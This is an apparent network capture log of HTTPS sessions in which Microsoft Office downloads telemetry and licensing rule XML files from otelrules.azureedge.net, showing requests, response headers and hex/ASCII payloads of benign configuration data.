Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78zqkvcwgr6h55x9n00000005fg000000002cb8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:10 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e0a2f103-c01e-007a-3367-28b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031810Z-15b8d89586fzcfbd8we4bvhqds00000000vg00000000bxb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49846	13.107.246.45	443	7844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:10 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:10 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031810Z-16849878b78smng4k6nq15r6s400000007b000000000s0gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba33cc4f-e01e-0052-2e6f-28d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031810Z-15b8d89586fmc8ck21zz2rtg1w000000031g00000000hzn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031810Z-16849878b78bcpfn2qf7sm6hsn00000007g000000000gvtg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031810Z-16849878b78hh85qc40uyr8sc800000006ag000000001bz5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 88d45aac-e01e-003c-3e01-29c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-r197bdfb6b4d9xksru4x6qbqr0000000062g0000000026ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:11 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-15b8d89586f2hk281qydt1fyf0000000018g000000001rmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a235f1ae-201e-003c-2005-2730f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-17c5cb586f672xmrz843mf85fn00000004tg0000000058s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-17c5cb586f6b6kj91vqtm6kxaw00000004m000000000dgfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-17c5cb586f6vcw6vtg5eymp4u800000003z000000000htcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031811Z-16849878b78p49s6zkwt11bbkn00000005h000000000n3r9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
